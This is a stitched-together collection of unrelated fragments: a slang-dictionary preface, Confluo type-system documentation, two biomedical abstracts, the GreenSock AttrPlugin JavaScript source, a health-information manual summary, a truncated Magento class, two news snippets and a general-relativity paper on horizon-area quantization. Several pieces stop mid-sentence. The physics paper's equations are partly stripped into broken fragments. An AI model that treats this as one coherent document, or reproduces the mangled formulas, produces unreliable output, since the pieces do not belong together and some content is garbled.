Of slang no less eminent a writer of English than Richard Grant White has said, "Slang is a vocabulary of genuine words or unmeaning jargon, used always with an arbitrary and conventional signification," and because "it is mostly coarse, low, and foolish," certain slang terms and phrases have been included in the following pages, together with a few undesirable colloquialisms. These are included because the indiscriminate use of slang leads to slov- |
# Confluo Type System
Confluo uses a strictly typed system. While primitive data types like
`BOOL`, `CHAR`, `SHORT`, `INT`, `LONG`, `FLOAT`, `DOUBLE` and `STRING`
are supported by default in Confluo, it is possible to add custom
user-defined data types. This requires defining a few operations that would
allow operations like applying filters and triggers on attributes of
the custom data type.
## Registering Types
To create a new type, we need to define the following properties so that
native operations can be supported; these properties are summarised in the
[`type_properties`](../libconfluo/confluo/types/type_properties.h)
struct:
* `std::string name` - A unique name for the type
* `size_t size` - The size of underlying representation for fixed sized types. This should be set to zero for
dynamically sized types (e.g., see definintion for [`STRING`](../libconfluo/confluo/types/type_properties.h) type).
* `void* min` - This is a pointer to the minimum value that the type
can hold. See [type_properties.h](../libconfluo/confluo/types/type_properties.h)
to see examples of `min` assigned to primitive types.
* `void* max` - This is a pointer to the maximum value that the type
can hold. See [type_properties.h](../libconfluo/confluo/types/type_properties.h)
to see examples of `max` assigned to primitive types.
* `void* one` - This is a pointer to the step value with which the type
can be incremented. See [type_properties.h](../libconfluo/confluo/types/type_properties.h)
to see examples of `one` assigned to primitive types.
* `void* zero` - This is a pointer to the zero value for the type. See
[type_properties.h](../libconfluo/confluo/types/type_properties.h) to see
examples of `zero` assigned to primitive types.
* `bool is_numeric` - This indicates whether the type is numeric or not;
numeric types typically support most arithmetic operators; see
[arithmetic_ops.h][../libconfluo/confluo/types/arithmetic_ops.h] for examples.
* `relational_ops_t relational_ops` - Stores a list of relational operator functions
for the given type, so that operations like `filter` can work. See
[rel_ops.h](../libconfluo/confluo/types/relational_ops.h) for examples of
what relational functions can be defined.
* `binary_ops_t binary_ops` - Stores a list of binary arithmetic operator functions
for the given type, so that operations like filter can accurately be applied
to the type. Check [arithmetic_ops.h](../libconfluo/confluo/types/arithmetic_ops.h)
for examples of binary operator functions that can be defined.
* `unary_ops_t unary_ops` - Stores a list of unary arithmetic operator functions
for the given type, so that operations like filter can work for the given
type. Check [arithmetic_ops.h](../libconfluo/confluo/types/arithmetic_ops.h) for
examples of unary function operators that can be defined.
* `key_op_t key_transform_op` - Stores the key-transform function. This function
is important for looking up attributes of the type in an index; see
[key_ops.h](../libconfluo/confluo/types/key_ops.h) for example
definitions of key_transform.
* `parse_op_t parse_op` - Parses data instance from a string representation of this type. See
[string_ops.h](../libconfluo/confluo/types/string_ops.h) for examples.
* `to_string_op_t to_stirng_op` - Converts data instance of the type to its string representation. See
[string_ops.h](../libconfluo/confluo/types/string_ops.h) for examples.
* `serialize_op_t serialize_op` - Serializes the underlying data representation of the type into raw bytes;
see [serde_ops.h](../libconfluo/confluo/types/serde_ops.h) for examples.
* `deserialize_op_t deserialize_op` - Reads the raw byte representation of the type and parses it to data;
see [serde_ops.h](../libconfluo/confluo/types/serde_ops.h) for examples.
Example declarations of user-defined types can be found at
[ip_address.h](../libconfluo/test/types/ip_address.h) and
[size_type.h](../libconfluo/test/size_type.h).
Once the properties for custom type is defined in the `type_properties` struct,
it needs to be registered with Confluo's [type manager](../libconfluo/confluo/types/type_manager.h)
via the `type_manager::register_type` interface. We can register a type as
follows:
```cpp
type_properties test_properties("test", sizeof(int), &limits::int_min,
&limits::int_max, &limits::int_one,
&limits::int_one, &limits::int_zero, false,
get_relops(), get_unaryops(),
get_binaryops(),
get_keyops(), &test_type::parse_test,
&test_type::test_to_string,
&confluo::serialize<test>,
&confluo::deserialize<test>);
type_manager::register_type(test_properties);
```
Once registered, a useful symbolic
reference to the data type, wrapped in a `data_type` object, can be obtained via
the `type_manager::get_type` interface.
With this object, it is possible to add new columns of this type in any
Atomic MultiLog. From here on out, appending records to the
Atomic MultiLog, along with operations like filters and triggers, will work out
of the box.
## Building a Schema
We can create columns of a custom user-defined type for an Atomic MultiLog
as follows:
```cpp
data_type test_type = type_manager::get_type("test");
schema_builder builder;
builder.add_column(test_type, "a");
std::vector<column_t> s = builder.get_columns();
task_pool MGMT_POOL;
atomic_multilog dtable("table", s, "/tmp", storage::IN_MEMORY, MGMT_POOL);
```
We use the `type_manager::get_type` interface to get the `data_type` object
associated with the new user-defined type. This object can then be passed
into the `add_column` interface of the `schema_builder` along with the name
of the column. Finally, the vector of columns can be passed into the Atomic
Multilog and thus operations like filters and triggers can be performed on
data of the user-defined type.
## Adding Records
First create a packed struct containing all of the member data_types
in a row of the schema. Be sure to include the timestamp as one of
the columns. An example is as follows:
```cpp
struct rec {
int64_t ts;
test_type a;
}__attribute__((packed));
```
Then get a pointer to an instance of the struct, which is passed into the
`append` method of the Atomic MultiLog. The following is an exmaple:
```cpp
rec r = {utils::time_utils::cur_ns(), test_type()};
void* data = reinterpret_cast<void*>(&r);
dtable.append(r);
```
Here we initialize a record with the current timestamp and an instance of
the test type. Then we pass a pointer to that data to the append method
of the Atomic MultiLog instance.
## Performing Filter Operations
After adding records containing data of the user-defined type, we can
perform filter operations to select specific records. We can do so as
follows:
```cpp
for (auto r = dtable.execute_filter("a > 4"); !r.empty(); r = r.tail()) {
std::cout << "A value: " << r.head().at(1).as<test_type>().get_test()
<< std::endl;
}
```
We assume here that `4` can be parsed as a `test_type` using the
parse_test method. The `execute_filter` function is then called with an
expression that selects records that satisfy the condition. This returns
a stream of records which can then be read and processed.
See [type_manager_test.h](../libconfluo/test/types/type_manager_test.h) for
examples of building user-defined types including ip address and size types.
|
Effect of genistein on acrosome reaction and zona pellucida binding independent of protein tyrosine kinase inhibition in bull.
To investigate if the phytoestrogen, genistein, affects essential functions of cryopreserved bovine spermatozoa. The effect of genistein upon motility was assessed by computer-assisted motion analysis. Hemizona assay was performed to detect the ability of spermatozoa binding to the zona pellucida. The inducibility of the acrosome reaction using progesterone and ZP3-6 peptide was analysed by fluorescein-conjugated Pisum sativum agglutinin (FITC-PSA)/Hoechst 33258 double staining. Capacitation after incubation with genistein was assessed by the chlortetracycline (CTC) assay. Immunoblots showed the pattern of protein tyrosine phosphorylation of cryopreserved bovine spermatozoa. Immunodetection of tyrosine-phosphorylated proteins showed that genistein did not affect tyrosine phosphorylation in cryopreserved bovine spermatozoa. However, genistein significantly reduced the progesterone- and ZP3-6 peptide-mediated induction of the acrosome reaction and led to a dose-dependent inhibition of sperm-zona pellucida binding; while sperm motility and capacitation were not affected by this phytoestrogen, as indicated by computer-assisted sperm motion analysis and the CTC assay, respectively. Our results suggest that in cryopreserved bovine spermatozoa, genistein affects a protein tyrosine phosphorylation-independent signal transduction pathway that is involved in sperm capacitation, the acrosome reaction and sperm-zona pellucida binding. |
/*!
* VERSION: 0.6.1
* DATE: 2017-06-19
* UPDATES AND DOCS AT: http://greensock.com
*
* @license Copyright (c) 2008-2017, GreenSock. All rights reserved.
* This work is subject to the terms at http://greensock.com/standard-license or for
* Club GreenSock members, the software agreement that was issued with your membership.
*
* @author: Jack Doyle, jack@greensock.com
*/
var _gsScope = (typeof(module) !== "undefined" && module.exports && typeof(global) !== "undefined") ? global : this || window; //helps ensure compatibility with AMD/RequireJS and CommonJS/Node
(_gsScope._gsQueue || (_gsScope._gsQueue = [])).push( function() {
"use strict";
_gsScope._gsDefine.plugin({
propName: "attr",
API: 2,
version: "0.6.1",
//called when the tween renders for the first time. This is where initial values should be recorded and any setup routines should run.
init: function(target, value, tween, index) {
var p, end;
if (typeof(target.setAttribute) !== "function") {
return false;
}
for (p in value) {
end = value[p];
if (typeof(end) === "function") {
end = end(index, target);
}
this._addTween(target, "setAttribute", target.getAttribute(p) + "", end + "", p, false, p);
this._overwriteProps.push(p);
}
return true;
}
});
}); if (_gsScope._gsDefine) { _gsScope._gsQueue.pop()(); }
//export to AMD/RequireJS and CommonJS/Node (precursor to full modular build system coming at a later date)
(function(name) {
"use strict";
var getGlobal = function() {
return (_gsScope.GreenSockGlobals || _gsScope)[name];
};
if (typeof(module) !== "undefined" && module.exports) { //node
require("../TweenLite.js");
module.exports = getGlobal();
} else if (typeof(define) === "function" && define.amd) { //AMD
define(["TweenLite"], getGlobal);
}
}("AttrPlugin")); |
Health Information System (HIS) Reference Manual
The manual forms the core reference document for a five-day "Training of Trainers" workshop. This is the prelude to country-level training for implementing partner staff, followed by camp-based deployment of the HIS. The modules are designed to be reproduced and used independently of the manual, in field trainings and exercise work for frontline health staff.
Part One presents an overview of the HIS. It describes the purpose of data collection, the process of selecting standards and indicators, and the importance of standardised health information. It also introduces the concept of the data cycle, the key partners involved, and explains the frequency of reporting at each level of health management.
Part Two introduces the technical sections in the HIS. The HIS contains 10 technical modules, which correspond to the primary healthcare model upon which services are planned, organised and delivered (see List).
The modules identify the sources required for data collection; define who is responsible for the data; and provide guidance on the "what, how and when" of collecting and reporting health information. Each has been designed as a reproducible, field-based guide that can be used independently of the manual to train staff at the camp level.
Part Three contains core topics related to data management and data validation; internal auditing and quality control; and database management. It also describes how new toolkits will be updated and replaced in the field. |
<?php
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class Mage_Catalog_Model_System_Config_Backend_Catalog_Product_Flat extends Mage_Core_Model_Config_Data
{
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* After enable flat products required reindex
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|
Pituitary adenylate cyclase activating polypeptide innervation of the rat female reproductive tract and the associated paracervical ganglia: effect of capsaicin.
Pituitary adenylate cyclase activating peptide (PACAP) is a novel vasoactive intestinal polypeptide-like peptide which is present in neuronal elements of a number of peripheral organs. PACAP occurs in two forms, PACAP-27 and the C-terminally extended PACAP-38, both derived from the same precursor which in addition gives rise to a structurally-related peptide, PACAP-related peptide. Using specific radioimmunoassays for PACAP-38, PACAP-27 and PACAP-related peptide we found that the three PACAP-precursor-derived peptides were present in tissue extracts from all regions of the rat female genital tract. PACAP-38 was the dominating peptide with the highest concentrations in the Fallopian tube and the ovary. Upon reverse phase high pressure liquid chromatography the immunoreactive material was found to co-elute with synthetic PACAP-38, PACAP-27 and PACAP-related peptide, respectively. By immunohistochemistry, PACAP was shown to be located in varicose nerve fibres associated with blood vessels, smooth muscle and epithelial cells. Within the local paracervical ganglion PACAP-immunoreactive fibres ramified often forming varicose, pericellular plexuses around non-PACAP-positive cell bodies. Also bundles of PACAP-immunoreactive fibres were transversing the ganglion. In the paracervical ganglion of normal rat only a few neuronal cell bodies showed immunostaining for PACAP, but after local colchichine-treatment a moderate number of positive perikarya appeared. The synthesis of PACAP in neurons of the paracervical ganglia was confirmed by in situ hybridization histochemistry with a digoxigenin-labelled cRNA probe. Double immunostaining for PACAP and vasoactive intestinal polypeptide disclosed a partial co-existence of the two peptides in nerve fibres of all tubular organs in the rat female genital tract and in cell bodies and nerve fibres in the paracervical ganglion. After neonatal capsaicin treatment the concentration of immunoreactive PACAP-38 as well as the number and intensity of PACAP-positive nerve fibres were reduced while vasoactive intestinal polypeptide immunoreactivity was unaffected. In conclusion, PACAP-immunoreactive nerve fibres have been demonstrated in all regions of the rat female genital tract associated with blood vessels, smooth musculature and epithelium. In some fibres, which seem to originate in the local paracervical ganglia, PACAP was co-localized with vasoactive intestinal polypeptide. PACAP released from these fibres could alone or in concert with vasoactive intestinal polypeptide play a role in neuroregulation of female reproductive organs acting directly on the musculature and vasculature. Other PACAP-containing fibres are sensory in nature, and some of these might influence ganglionic neurotransmission in the local paracervical ganglia. |
An NDP MP is calling on the government to comply with two warnings from a Human Rights Tribunal that found Canada is actively discriminating against Indigenous children. |
Remote, unowned islets targeted for state control
The government will make some 280 remote islands without owners state properties to strengthen control of the country’s territory, a minister said Tuesday.
“We will register the remote islands as state property to enhance their management,” Ichita Yamamoto, state minister for oceanic policies and territorial issues, told a news conference.
The move comes as Japan is mired in territorial disputes with China and South Korea.
China has been increasing its assertiveness at sea by frequently sending government vessels to the Japanese-controlled Senkaku Islands, which China also claims and calls the Diaoyu, and in the air by declaring a new air defense identification zone over a region of the East China Sea where the uninhabited islets are located.
The numerous remote islets are among the roughly 400 that define the country’s territorial waters, but many aren’t named.
Last year a private advisory panel to Yamamoto proposed the government set up a system to monitor ownership changes, name the islets and survey their natural environment and resources in the ocean around them. |
---
abstract: 'Doubts have been expressed on the universality of holographic/string-inspired quantization rules for the horizon areas of stationary black holes, or the products of their radii, already in 4-dimensional general relativity. Realistic black holes are not stationary but time-dependent. We produce three examples of 4D general-relativistic spacetimes containing dynamical black holes for at least part of the time, and we show that the quantization rules (even counting virtual horizons) cannot hold, except possibly at isolated instants of time, and do not seem to be universal.'
author:
- Valerio Faraoni
- 'Andres F. Zambrano Moreno'
title: 'Are quantization rules for horizon areas universal?'
---
\[section1\]Introduction
========================
Recently, there has been some excitement in the research community working on the holographic principle and stringy/supergravity black holes following the observation that the products of Killing horizon areas for certain multi-horizon black holes are independent of the black hole mass and depend only on the quantized charges (supergravity and extra-dimensional black holes with angular momentum and electric and magnetic charges were considered) [@Larsen97; @CveticLarsen97; @CveticGibbonsPope; @AnsorgHennigPRL; @AnsorgHennigCQG; @CastroRodriguez; @expression; @Meessenetal; @Castronew]. Older results on black holes far from extremality [@Curir79; @Larsen97; @CveticLarsen97] induce one to take into account both outer and inner black hole horizons when studying the quantization of black hole entropies and horizon areas. Expressions for products of the horizon areas of black holes in four and higher dimension have been hypotesized or suggested [@CveticGibbonsPope; @AnsorgHennigPRL; @AnsorgHennigCQG; @CastroRodriguez] and then questioned in more recent work [@Castronew].
This literature is inspired by the holographic principle and string theories (although the results are not, strictly speaking, derived from string theories), and it stems from the underlying idea that quantized products of areas depending on combinations of integers must carry the signature of some specific microphysics. This feature would not be too surprising if the area $A$ of an horizon is related to its entropy $S$ through the famous Bekenstein-Hawking formula $S=A/4$ (in units in which $c=\hbar=1$) and corresponds to a statistical mechanics based on microscopic models counting microstates determined by quantum gravity (see, [*e.g.*]{}, ref. [@Sen08]). When there are outer ($+$) and inner ($-$) horizons, the quantization rules recurrent in the literature are \[expression1\] A\_ = 8 l\_[pl]{}\^2 ( ) , N\_1, N\_2 , or \[expression2\] A\_[+]{} A\_[-]{} =( 8 l\_[pl]{}\^2)\^2 N , N , where $l_{pl}$ is the Planck length [@Curir79; @Larsen97; @CveticLarsen97]. $N_{1,2}$ are integers for supersymmetric extremal black holes but are related to the numbers of branes, antibranes, and strings in less simple situations [@HorowitzMaldacenaStrominger]. A weaker rule states that the product of horizon areas is independent of the black hole mass and depends only on the quantized charges. Rules of the type (\[expression2\]) are found for Einstein-Maxwell black holes in 5 and 6 dimensions, asymptotically flat [@Curir79; @Larsen97; @AnsorgHennigCQG; @AnsorgHennigPRL; @Meessenetal; @CastroRodriguez], or asymptotically de Sitter or anti-de Sitter, and also for black holes in $D=3$ and $D\geq 6$ dimensions [@Castronew] and it seems to apply also to black rings and black strings in higher dimension [@CastroRodriguez] (asymptotically de Sitter and anti-de Sitter black holes in general relativity and other theories of gravity, in various dimensions, are discussed in [@Castronew]).
A word of caution against the temptation of regarding these rules as universal for all types of black holes endowed with multiple horizons [@CveticGibbonsPope] has been voiced by Visser [@Visser0; @Visser]. Visser considered black holes in 4-dimensional general relativity and found that, in these situations, products of areas do not give mass-independent quantities, nor are they related in a simple way to integers. Rather, it is quadratic combinations of the various horizon radii (with the dimensions of an area, which can be referred to as “generalized areas”) which generate mass-independent quantities and are, presumably, the best candidates to be quantized [@Visser0; @Visser], although no evidence has been presented thus far that these generalized areas have any special physical significance. Moreover, it is essential to include in these algebraic combinations also cosmological and virtual horizons in addition to the black hole horizons [@Visser]. Virtual horizons correspond to negative or imaginary roots of the equation locating the horizons (which, in non-asymptotically flat solutions of the Einstein equations, provides also cosmological horizons). The quantization rules break down also for general Myers-Perry black holes in dimension $D
\geq 6$ and for Kerr-anti-de Sitter black holes with $D
\geq 4$ unless the virtual horizons are included in the picture [@ChenLiu].
In this note we point out a fact which induces even more caution in discussing the products of horizon areas. The horizons considered in the literature are Killing (and event) horizons. Realistic black holes are not stationary if nothing else because they emit Hawking radiation and the backreaction due to this effect changes their masses which become time-dependent, together with their horizon radii and areas. For astrophysical black holes the effect is completely negligible but the same cannot be said for quantum black holes. Therefore, a timelike Killing vector will not be present and in realistic situations one should consider not Killing and event horizons, but other kinds of horizons. Dynamical horizons have received much attention in quantum gravity [@dynamicalhorizons]; at present it seems that apparent horizons (“AH”s, see [@AHreviews] for reviews) are the best and most versatile candidates for the notion of time-dependent “horizon” and it is claimed that thermodynamical laws can be associated with AHs [@AHthermodynamics]. In any case, AHs are used as proxies for event horizons in studies of gravitational collapse in numerical relativity [@proxies]. AHs coincide with event horizons in stationary situations but, in dynamical situations, they are spacelike or even timelike. In the following we consider dynamical situations and we focus on AHs.
\[section2\]Toy models for dynamical black holes
================================================
Here we consider three toy models of [*dynamical*]{} black holes, which are implemented by embedding them in a Friedmann-Lemaître-Robertson-Walker (FLRW) cosmological “background” (we use quotation marks because, due to the non-linearity of the Einstein equations, one cannot split the metric into a background and a deviation from it in a covariant way). In the first model, a McVittie spacetime, there are a black hole, a cosmological, and a virtual horizon. In the second model, a generalized McVittie solution of the Einstein equations, the “McVittie no-accretion condition” is relaxed to allow accretion of energy and then we have either two real horizons (a black hole and a cosmological horizon) or two virtual horizons. The third model consists of an electrically charged (but non-accreting) generalization of the McVittie spacetime. In this case there is a charge to quantize, but the behaviour of the horizons is the same as in the uncharged case. Our main point is that, in dynamical situations, even if combinations of AH radii which are mass-independent exist, they depend continuously on time and cannot be expressed as combinations of integers.
\[subsec:McV\]The McVittie spacetime
------------------------------------
The McVittie metric [@McVittie] describes a black hole embedded in a FLRW universe, which is a truly dynamical spacetime.[^1] Limiting ourselves, for simplicity, to a spatially flat FLRW “background”, the line element can thus be written in the form [@Roshina] $$\begin{aligned}
ds^2 &=& -\left[ 1-\frac{2m}{R}-H^2(t)R^2 \right] dt^2
+\frac{dR^2 }{1-\frac{2m}{R}} \nonumber\\
&&\nonumber\\
&\, & -\frac{2H(t) R}{\sqrt{1-\frac{2m}{R}}} \, dtdR
+R^2d\Omega_{(2)}^2 \,, \label{McVittie} \end{aligned}$$ where $m$ is a constant related to the mass of the central inhomogeneity, $d\Omega_{(2)}^2=d\theta^2+\sin^2 \theta \, d\varphi^2$ is the metric on the unit 2-sphere, $R$ is the areal radius, $H(t) \equiv \dot{a}(t)/a(t)$ is the Hubble parameter, $a(t)$ is the scale factor of the FLRW “background”, and an overdot denotes differentiation with respect to the comoving time $t$. The locally static Schwarzschild-de Sitter-Kottler spacetime corresponds to $a(t)=\exp(\sqrt{\Lambda/3} \, t)$ and $H=\sqrt{\Lambda/3}$ (where $\Lambda>0$ is the cosmological constant) and is a special case of the McVittie metric which can be obtained using a simple transformation of the time coordinate [@arakida]. Assuming a perfect fluid stress energy tensor, the Einstein equations provide the energy density $\rho(t)$ and pressure $P\left(t,
R\right)$ of the “background” fluid. Again for simplicity, let us restrict ourselves to a cosmic fluid which reduces to dust (equation of state parameter $w \equiv P/\rho=0$) at spatial infinity, then (t)= H\^2(t) , P(t,R )=(t) ( -1 ) \[pressure\] . The inverse metric is ( g\^ )=(
[cccc]{} & & 0 & 0\
&&&\
& (1- -H\^2R\^2 ) & 0 & 0\
&&&\
0 & 0 & & 0\
&&&\
0 & 0& 0 &
). \[inverseMcVittie\] For any spherically symmetric metric written in terms of the areal radius $R$, the AHs are located by solving the equation $\nabla^cR\nabla_c R=0$ or $g^{RR}=0$ [@NielsenVisser]. For the Schwarzschild-de Sitter-Kottler spacetime, which is a special case of McVittie, this equation coincides with the horizon condition reported in [@Visser] but, in the general case, the Hubble parameter is time-dependent instead of constant. This cubic equation R\^3 - + =0 has three solutions which, under conditions specified below, correspond to a time-dependent black hole AH with (proper) radius $R_{BH}(t)$, a cosmological AH with radius $R_C(t)$, and a virtual AH with negative radius $R_V(t)$. The three roots are $$\begin{aligned}
R_{BH}&=&\frac{2H^{-1}}{\sqrt{3}}\sin\psi
\,,\label{root1}\\
&&\nonumber\\
R_C&=& -R_V= H^{-1} \left(
\cos\psi -\frac{1}{\sqrt{3}}\sin\psi \right)
\,,\label{root2}\end{aligned}$$ with $\psi (t)$ given by $\sin (3\psi )=3\sqrt{3} \,
mH(t)$. Here $m$ and $H$ are both necessarily positive (we only consider expanding universes) and $R_V$ defines the negative root. As discussed in [@AndresRoshina], the condition for the black hole and cosmological AHs to exist is $0<\sin
( 3\psi ) <1$, which corresponds to $mH(t)<1/(3\sqrt{3})$ (and $mH(t)>0$, which is always satisfied). Unlike the Schwarzschild-de Sitter-Kottler case where the Hubble parameter is a constant, this inequality will only be satisfied at certain times during the cosmological expansion and will be violated at other times. The threshold between these two regimes is the time at which $ m H(t_* )=1/(3\sqrt{3})$ (for a dust-dominated “background” with $H(t)=2/(3t)$, this critical time is $t_* =2\sqrt{3} \, m$). At early times $t<t_*$ it is $m>\frac{1}{3\sqrt{3}
\,H(t)}$ and both $R_{BH}(t)$ and $R_C(t)$ are complex and therefore unphysical. In this case all the AHs are virtual. At the critical time $t=t_*$ it is $m=\frac{1}{3\sqrt{3}\,H(t)}$ and the AHs with radii $R_{BH}(t_*)$ and $R_C(t_*)$ coincide at a real, physical location. There are then a single real AH at $\frac{1}{\sqrt{3}\,H(t)}$ and one virtual AH. At “late” times $t>t_*$ it is $m<\frac{1}{3\sqrt{3}\,H(t)}$, and both $R_{BH}(t)$ and $R_C(t)$ are real and, therefore, physical — there are two real and one virtual AHs. The dynamics of the black hole and cosmological AH radii as functions of comoving time are pictured in fig. \[figure1\].
![\[figure1\]The proper radii of the AHs of a dust-dominated McVittie metric versus time. The negative radius represents the virtual horizon. At a critical time a cosmological AH (dashed curve) appears together with a black hole AH (solid curve), the former expanding and the latter shrinking.](Fig1McVBHareas.eps)
The phenomenology of AHs appearing and annihilating in pairs appears to be rather common for black holes embedded in cosmological “backgrounds”, in both general relativity and alternative theories of gravity [@HMN; @myClifton; @CMB]. The physical reason why a pair of AHs suddenly appears in the McVittie spacetime (\[McVittie\]) is discussed in [@AndresRoshina]. The same phenomenology of fig. \[figure1\] is found for generalized McVittie metrics [@Gaoetal] and in Lemaître-Tolman-Bondi spacetimes ([@GaoLTB], see also [@othersplittingAHs]) describing black holes embedded in (spatially flat) FLRW universes.[^2]
The Misner-Sharp-Hernandez mass $M_{MSH}$ [@MisnerSharpHernandez] of a sphere of areal radius $R$ (which is defined for spherically symmetric spacetimes) is [@AndresRoshina] M\_[MSH]{}= m + R\^3 \[MisnerSharpmass\] and coincides with the Hawking-Hayward quasi-local mass [@HawkingHayward] in spherical symmetry. It is interpreted as the contribution of the black hole mass $m$ (which is constant because of the “McVittie condition” $G^0_1=0$, which implies $T^0_1=0$ for the stress-energy tensor of the cosmic fluid and forbids accretion of the latter onto the black hole) and a contribution due to the energy of the cosmic fluid inside the sphere. Searching for generalized areas which are independent of the black hole mass, Visser’s discussion for the Schwarzschild-de Sitter-Kottler black hole can be repeated almost without changes. Including the virtual horizon in the count, it is straightforward to see that the quantities \[massindependent1\] R\_V( R\_[BH]{} + R\_C )+R\_[BH]{}R\_C = - and \[massindependent2\] ( R\_[BH]{}+R\_[C]{} )\^2-R\_[BH]{}R\_C = are independent of the black hole mass $m$. This situation can be regarded as a special case of Visser’s discussion [@Visser] computing mass-independent combinations of AH radii whenever the Misner-Sharp-Hernandez mass is a Laurent polynomial of the areal radius $R$. This is clearly the case of the McVittie metric, see eq. (\[MisnerSharpmass\]). In the present case, the physical mass contained in a sphere is actually given by the Misner-Sharp-Hernandez notion, but the cosmic fluid here serves the only purpose of generating a cosmological “background” to make the central black hole dynamical and it seems that the relevant mass to consider when mass-independent quantities such as (\[massindependent1\]) and (\[massindependent2\]) are searched for is the black hole contribution $m$, not the total $M_{MSH}$. In any case, the AH radii identify different spheres and correspond to different Misner-Sharp-Hernandez masses $M_{MSH}^{(i)}=2R^{(i)}_{AH} $ (from eq. (\[MisnerSharpmass\])). Here we stick to $m$.
Following [@Visser], we have included the virtual horizon to obtain the mass-independent quantity (\[massindependent1\]). Now, when the AH radii change with time, the combinations (\[massindependent1\]) and (\[massindependent2\]) are not constant but depend on time: therefore, if they are expressed by combinations of integers at an initial time, they will not be combinations of integers immediately afterward. They could only be a combination of integers at times forming a set of zero measure in any time interval.
\[subsec:SD\]The generalized (accreting) McVittie spacetime
-----------------------------------------------------------
The McVittie solution of the Einstein equations can be generalized to allow for the possibility of radial energy flow onto the central inhomogeneity [@FaraoniJacques; @Gaoetal]. Among the class of spherically symmetric solutions of the Einstein equations thus obtained there is a late-time attractor for expanding “background” universes which is given by the line element [@generalMcV] $$\begin{aligned}
ds^2 &=& - \frac{
\left( 1-\frac{m}{2r} \right)^2}{
\left( 1+\frac{m}{2r} \right)^2} dt^2 \nonumber\\
&&\nonumber\\
&\, & +a^2(t) \left( 1+\frac{m}{2r}\right)^4 \left( dr^2
+r^2 d\Omega_{(2)}^2 \right) \end{aligned}$$ in isotropic coordinates, where $a(t)$ is the scale factor of the “background” FLRW universe and $m$ is a constant. In terms of the areal radius $R(t,r)=a(t)r\left(
1+\frac{m}{2r}\right)^2$, the AHs of this solution of the Einstein equations corresponding to an expanding FLRW “background” universe are [@generalMcV] $$\begin{aligned}
R_{BH} & = & \frac{1-\sqrt{1-8MH } }{2H} \,,\label{Root1}\\
&&\nonumber\\
R_{CH} & = &\frac{1+\sqrt{1-8MH } }{ 2H} \,, \label{Root2}\end{aligned}$$ where $M(t)=m \, a(t)$ and $H\equiv \dot{a}/a$ is the Hubble parameter of the “background” FLRW universe [@generalMcV]. The time evolution of the radii of the apparent horizons is reported in fig. \[SDfigure\] for a dust-dominated FLRW universe with scale factor $a(t)=a_0 t^{2/3}$.
![\[SDfigure\]The radii of the AHs of the generalized (accreting) McVittie spacetime versus time. There are always either two virtual AHs (with negative radii) or two real AHs with $R\geq 0$ (a cosmological AH, thick solid curve, and a black hole AH, dashed curve, both appearing at a critical time).](Fig2GenMcVBHareas.eps)
These AHs are real when $8M H\leq1$ and virtual when $8M H
> 1$ (in which case we label them $R_{V1}$ and $R_{V_2}$), which happens before a critical time $t_*$.
The products of the horizon radii prescribed in [@Visser] reduce to R\_[CH]{} R\_[BH]{} = R\_[V\_1]{} R\_[V\_2]{}= =3m a\_0 t\^[5/3]{} , \[productSD\] which is time-dependent, for both cases in which the AHs are real or virtual. Following the same reasoning as in the previous section, we conclude that it cannot be expressed as a combination of integers. The Misner-Sharp-Hernandez/Hawking-Hayward mass of the black hole (when the latter exists) is [@generalMcV] M\_[MSH]{}== ; it cannot be split in any simple way into a contribution due to the central inhomogeneity and one due to the cosmic fluid inside the sphere of radius $R_{BH}$. It is time-dependent due to the radial energy flow onto the black hole. The product (\[productSD\]) can be rewritten as $$\begin{aligned}
R_{CH} R_{BH} &=& R_{V_1} R_{V_2} =
2M_{MSH} \left( \frac{1+\sqrt{1-8MH}}{2H} \right)
\nonumber\\
&& \nonumber\\
&= & 2M_{MSH} R_{CH}\end{aligned}$$ and depends on the physical black hole mass.
\[subsec:McVcharged\]The electrically charged McVittie spacetime
----------------------------------------------------------------
Let us consider now the electrically charged, non-accreting, generalization of the McVittie spacetime. This situation is physically more interesting because there is actually a charge which could be quantized. The electrically charged McVittie spacetime is described by the spherically symmetric line element [@GaoZhang04] $$\begin{aligned}
ds^2 &=& -\frac{\left( 1-\frac{m^2}{4a^2r^2}\right)^2
+\frac{Q^2}{4a^2r^2}}{ \left[ \left(
1+\frac{m}{2ar}\right)^2 -\frac{Q^2}{4a^2r^2}\right]^2 }
\, dt^2 \\
&&\nonumber\\
&\,& + a^2(t) \left[
\left( 1+\frac{m}{2ar} \right)^2 -\frac{Q^2}{4a^2r^2}
\right]^2 \left( dr^2 + r^2 d\Omega_{(2)}^2
\right)\nonumber \end{aligned}$$ in isotropic coordinates, where $m=$ const. is a mass parameter, $Q$ is the electric charge of the central inhomogeneity, and $a(t)$ is the scale factor of the “background” FLRW universe, which is chosen here to be spatially flat.
The areal radius is clearly $$\begin{aligned}
R\left(t,r \right) &=& a(t) r\left[ \left(
1+\frac{m}{2ar}\right)^2
-\frac{Q^2}{4a^2r^2}
\right] \nonumber\\
&&\nonumber\\
&=& ar+m+\frac{m^2}{4ar}-\frac{Q^2}{4ar}\label{chargedArealRadius}\end{aligned}$$ and the apparent horizons are located by the equation $\nabla^cR\nabla_cR=0$. After a straightforward calculation, this equation becomes \[chargedAHr\] H\^2 \^4 -4 ( 4a\^2r\^2 -m\^2+Q\^2 )=0 . This form is not particularly useful for locating the apparent horizons because it is expressed in terms of the radial coordinate $r$; in order to turn it into a more useful expression involving only the proper (areal) radius $R$ and the time $t$, one inverts eq. (\[chargedArealRadius\]) and obtains \[2ar\] r=( R-m+ ) by choosing the positive sign of the square root. Using eq. (\[2ar\]), eq. (\[chargedAHr\]) becomes $$\begin{aligned}
4H^2(t) R^4 \left( R-m+ \sqrt{ R^2+Q^2-2mR} \right)^4
\nonumber\\
\nonumber\\
- \left( R-m+ \sqrt{ R^2+Q^2-2mR} \right)^2 + (m^2-Q^2)=0 \nonumber\\
\label{chargedAHR}\end{aligned}$$ in terms of $R$ and $t$. It is complicated to solve this trascendental equation or even to give explicit analytical criteria for the existence and number of its roots but it is clear that, when solutions exist, they depend on time and generalized areas and their products will also depend on time and will not be expressed as simple combinations of integers times a constant. For illustration, eq. (\[chargedAHR\]) is solved numerically for special values of the parameters using the scale factor $a(t)=a_0 t^{2/3}$ of a dust-dominated FLRW “background” and the radii of the real apparent horizons are plotted in fig. \[figchargedMcV\].
![\[figchargedMcV\]The proper radii versus time of the real AHs of an electrically charged McVittie spacetime with a spatially flat, dust-dominated, FLRW “background”.](charged3.eps)
